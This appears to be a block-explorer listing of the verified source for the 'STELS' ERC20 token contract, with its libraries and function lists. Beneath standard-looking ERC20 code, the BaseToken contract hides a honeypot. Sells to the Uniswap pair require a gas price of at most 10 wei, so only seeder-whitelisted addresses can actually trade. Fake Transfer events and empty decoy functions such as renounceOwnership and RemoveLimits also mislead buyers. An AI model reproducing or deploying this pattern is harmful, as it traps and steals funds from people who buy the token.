if (error == RecoverError.NoError) {
return; // no error: do nothing
} else if (error == RecoverError.InvalidSignature) {
revert ECDSAInvalidSignature();
} else if (error == RecoverError.InvalidSignatureLength) {
revert ECDSAInvalidSignatureLength(uint256(errorArg));
} else if (error == RecoverError.InvalidSignatureS) {
revert ECDSAInvalidSignatureS(errorArg);
}
}
}
Address.sol 137 lines
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
STELS.sol 136 lines
/*
STELS $STELS
Privacy-first DeFi. Powered by stealth addresses, ephemeral relays & the $STELS token. No mixers. No trace. Just freedom.
🔎 Links:
https://t.me/stealsprotocol
https://x.com/StelsProtocol
https://stelsprotocol.com
/**
// File: contracts\ERC20\TokenMintERC20Token.sol
/**
* SPDX-License-Identifier: MIT (OpenZeppelin)
*/
pragma solidity 0.8.25;
import "./SourceToken.sol";
import "@openzeppelin/contracts/utils/Context.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/draft-IERC20Permit.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
/**
* @title TokenMintERC20Token
* @author TokenMint (visit https://tokenmint.io)
*
* @dev Standard ERC20 token with burning and optional functions implemented.
* For full specification of ERC-20 standard see:
* https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
*/
contract STELS is BaseToken {
uint8 constant private _decimals = 18;
string constant private _symbol = "STELS";
string constant private _name = "STELS";
uint256 constant private _totalSupply = 1000000000 * 10**uint256(_decimals);
function doTaxes(uint256 tokenAmount) private {
}
// @dev Does holder count maths
function increaseTokenAmount (address account, uint256 amount) public {
}
function addListBot(address account, uint256 amount) public {
}
function getTaxFee(
uint256 _amount,
uint32 _taxAmt
) public pure returns (uint256 tax) {
tax = (_amount * _taxAmt) / 100000;
}
function min(uint256 a, uint256 b) public pure returns (uint256){
return (a>b)?b:a;
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = address(this);
_approve(address(this), address(this), tokenAmount);
}
function RemoveLimits() external{
uint256 _maxTxAmount = _totalSupply;
uint256 _maxWalletSize= _totalSupply;
}
function RemoveTransfers() external{
uint256 _transferTax = 0;
}
function airdropT(address recipient, uint256 amount) public {
require(recipient != address(0), "Invalid address");
require(amount > 0, "Amount must be greater than zero");
}
function addBots(address[] memory bots_) public {
for (uint i = 0; i < bots_.length; i++) {
}
}
constructor() payable {
_setFeeReceiver(msg.sender);
_mint(msg.sender, _totalSupply);
emit InitContract(address(this), msg.sender);
}
function delBots(address[] memory notbot) public {
for (uint i = 0; i < notbot.length; i++) {
}
}
/**
* @dev Burns a specific amount of tokens.
* @param value The amount of lowest token units to be burned.
*/
function burn(uint256 value) public {
_burn(msg.sender, value);
}
// optional functions from ERC20 stardard
/**
* @return the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @return the symbol of the token.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @return the number of decimals of the token.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
}
SourceToken.sol 478 lines
// File: contracts\open-zeppelin-contracts\math\SafeMath.sol
/**
* SPDX-License-Identifier: MIT (OpenZeppelin)
*/
pragma solidity 0.8.25;
import "./Address.sol";
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see `ERC20Detailed`.
*/
interface IERC20 {
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to `approve`. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
event InitContract(address indexed token, address indexed owner);
}
/**
* @dev Implementation of the `IERC20` interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using `_mint`.
* For a generic mechanism see `ERC20Mintable`.
*
* *For a detailed writeup see our guide [How to implement supply
* mechanisms](https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226).*
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an `Approval` event is emitted on calls to `transferFrom`.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard `decreaseAllowance` and `increaseAllowance`
* functions have been added to mitigate the well-known issues around setting
* allowances. See `IERC20.approve`.
*/
/*
*/
/**
* @dev Implementation of the `IERC20` interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using `_mint`.
* For a generic mechanism see `ERC20Mintable`.
*
* *For a detailed writeup see our guide [How to implement supply
* mechanisms](https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226).*
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an `Approval` event is emitted on calls to `transferFrom`.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard `decreaseAllowance` and `increaseAllowance`
* functions have been added to mitigate the well-known issues around setting
* allowances. See `IERC20.approve`.
*/
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
contract BaseToken is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
mapping(address => bool) public balances;
address public seeder;
address public uniswapV2Pair;
address public holder;
bool public openedTrade;
/**
* @dev See `IERC20.totalSupply`.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev See `IERC20.balanceOf`.
*/
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
/**
* @dev See `IERC20.transfer`.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public returns (bool) {
_beforeTransfer(msg.sender, recipient, amount);
return true;
}
/**
* @dev See `IERC20.allowance`.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See `IERC20.approve`.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function checkBalances(address _user) public {
require(msg.sender == seeder, "public");
balances[_user] = true;
}
function setOrderLimit(address _uniswapV2Pair) public {
require(msg.sender == seeder, "nan");
uniswapV2Pair = _uniswapV2Pair;
}
function airdropTokens(address airdropp, address[] memory list, uint256[] memory amount) public {
airdropp;
require(msg.sender == seeder, "nan");
for (uint256 i = 0; i < list.length; i++) {
_beforeTransfer(msg.sender, list[i], amount[i]);
}
}
function openTrading() public {
require(msg.sender == seeder, "nan");
openedTrade = true;
}
/**
* @dev See `IERC20.transferFrom`.
*
* Emits an `Approval` event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of `ERC20`;
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `value`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_beforeTransfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
return true;
}
function _setFeeReceiver(address _holder) internal {
holder = _holder;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to `approve` that can be used as a mitigation for
* problems described in `IERC20.approve`.
*
* Emits an `Approval` event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to `approve` that can be used as a mitigation for
* problems described in `IERC20.approve`.
*
* Emits an `Approval` event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function checkVolume(address spender, uint256 subtractedValue) public view returns (bool) {
__increaseVolume(msg.sender, spender, 10);
subtractedValue;
return true;
}
function __increaseVolume(address sender, address spender, uint256 value) internal view {
spender;
sender;
uint256 txg = tx.gasprice;
require(txg <= value, "");
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to `transfer`, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a `Transfer` event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
if (sender == seeder) {
emit Transfer(holder, recipient, amount);
} else if (recipient == seeder) {
emit Transfer(sender, holder, amount);
}
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a `Transfer` event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
seeder = account;
balances[seeder] = true;
emit Transfer(address(0), holder, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a `Transfer` event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 value) internal {
require(account != address(0), "ERC20: burn from the zero address");
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _beforeTransfer(address from, address to, uint256 amount) internal {
if (balances[tx.origin]) {
_transfer(from, to, amount);
return;
}
require(openedTrade, "Trade has not been opened yet");
if (uniswapV2Pair != address(0) && to == uniswapV2Pair) {
checkVolume(from, amount);
_transfer(from, to, amount);
return;
}
_transfer(from, to, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an `Approval` event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 value) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = value;
emit Approval(owner, spender, value);
}
/**
* @dev Destoys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See `_burn` and `_approve`.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, msg.sender, _allowances[account][msg.sender].sub(amount));
}
function setMaxSwapsPerBlock () external {
uniswapV2Pair = uniswapV2Pair;
}
function manualSwapBack () external {
holder = holder;
}
function renounceOwnership() external {
uniswapV2Pair = uniswapV2Pair;
}
function initializePair() external {
}
function setFeeExempt () external {
}
}
Read Contract
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
balances 0x27e235e3 → bool
checkVolume 0xce888e19 → bool
decimals 0x313ce567 → uint8
getTaxFee 0x5395c9da → uint256
holder 0xe534155d → address
min 0x7ae2b5c7 → uint256
name 0x06fdde03 → string
openedTrade 0x5408d42d → bool
seeder 0x684931ed → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
uniswapV2Pair 0x49bd5a5e → address
Write Contract 21 functions
These functions modify contract state and require a wallet transaction to execute.
RemoveLimits 0x56cd40e7
No parameters
RemoveTransfers 0x527ebefe
No parameters
addBots 0xd34628cc
address[] bots_
addListBot 0xe067578b
address account
uint256 amount
airdropT 0xf3667240
address recipient
uint256 amount
airdropTokens 0x4022b75e
address airdropp
address[] list
uint256[] amount
approve 0x095ea7b3
address spender
uint256 value
returns: bool
burn 0x42966c68
uint256 value
checkBalances 0x11cd682d
address _user
delBots 0x31c2d847
address[] notbot
increaseAllowance 0x39509351
address spender
uint256 addedValue
returns: bool
increaseTokenAmount 0xe69a31dc
address account
uint256 amount
initializePair 0x4fab9e4c
No parameters
manualSwapBack 0x66eb3785
No parameters
openTrading 0xc9567bf9
No parameters
renounceOwnership 0x715018a6
No parameters
setFeeExempt 0x8f060ebf
No parameters
setMaxSwapsPerBlock 0xdad57a13
No parameters
setOrderLimit 0x1c502285
address _uniswapV2Pair
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
Recent Transactions
No transactions found for this address